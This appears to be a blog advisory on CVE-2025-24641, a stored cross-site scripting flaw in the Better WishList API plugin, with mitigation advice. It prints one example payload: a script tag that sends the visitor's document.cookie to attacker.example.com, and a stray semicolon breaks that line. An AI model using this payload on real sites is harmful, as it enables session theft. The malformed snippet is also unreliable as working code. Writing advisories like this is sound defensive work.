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In this post, we'll dive into the details of a recently disclosed and potentially dangerous vulnerability with the identifier CVE-2025-24641, affecting the Better WishList API for rickonline_nl. The core issue is related to a security flaw classified as "Improper Neutralization of Input During Web Page Generation", commonly known as Cross-site Scripting (XSS). The weakness exists in versions of the software from n/a through 1.1.3.

What is Cross-site Scripting (XSS)?

Cross-site Scripting is a security vulnerability that occurs when an attacker injects malicious executable scripts into web pages viewed by other users. This type of attack is designed to bypass the security mechanisms of a web application by executing arbitrary code in the context of the victim's browser. The malicious script typically has the capability to steal user data, deface web pages, or redirect the user to malicious websites, among other possible consequences.

Exploit Details

In the context of CVE-2025-24641, the vulnerability is classified as a Stored XSS attack. As such, it is an even more dangerous form of XSS, because the malicious script is permanently stored in the vulnerable system (in this case, the Better WishList API). Once the script is stored, it will be executed every time the affected web page is loaded by a user, without needing any interaction from the user or the attacker.

Code Snippet

The code snippet below demonstrates how the XSS vulnerability could be exploited by an attacker. They would submit a seemingly harmless wish containing malicious content, as shown:

<!-- Example attack payload -->
<script>document.location = 'https://attacker.example.com/stealCookies.php?cookie='; + encodeURIComponent(document.cookie)</script>

This payload, when submitted as a wish on the application, would trigger the XSS vulnerability. The script would execute in the browser of any user who views the infected wish, causing their session cookie to be transmitted to the attacker-controlled server.

Original References

The vulnerability was first reported by an external researcher and can be tracked via CVE-2025-24641 in the official CVE library. The affected software is the Better WishList API provided by rickonline_nl, with impacted versions ranging from n/a through 1.1.3.

Further information on the exploit and the corresponding fix can be found in the official GitHub repository for the rickonline_nl project.

Mitigation and Fix

As a user of Better WishList API, it is highly recommended to update the software to version 1.1.4 or later, which contains a fix for this vulnerability. Additionally, always follow general security best practices, such as not clicking on suspicious links, keeping your browser up to date, and regularly scanning your computer for vulnerabilities.

Developers who maintain web applications with similar functionality should ensure proper input validation and output encoding to prevent XSS attacks. This can be done by using modern web development frameworks that come equipped with built-in XSS protections.

In conclusion, CVE-2025-24641 demonstrates the potential danger of seemingly harmless applications, such as wish list managers. It is crucial to keep software up to date and be aware of the common security risks associated with web applications. By responsibly disclosing and mitigating such vulnerabilities, we can ensure a safer and more secure internet experience for everyone.

Timeline

Published on: 02/14/2025 13:15:49 UTC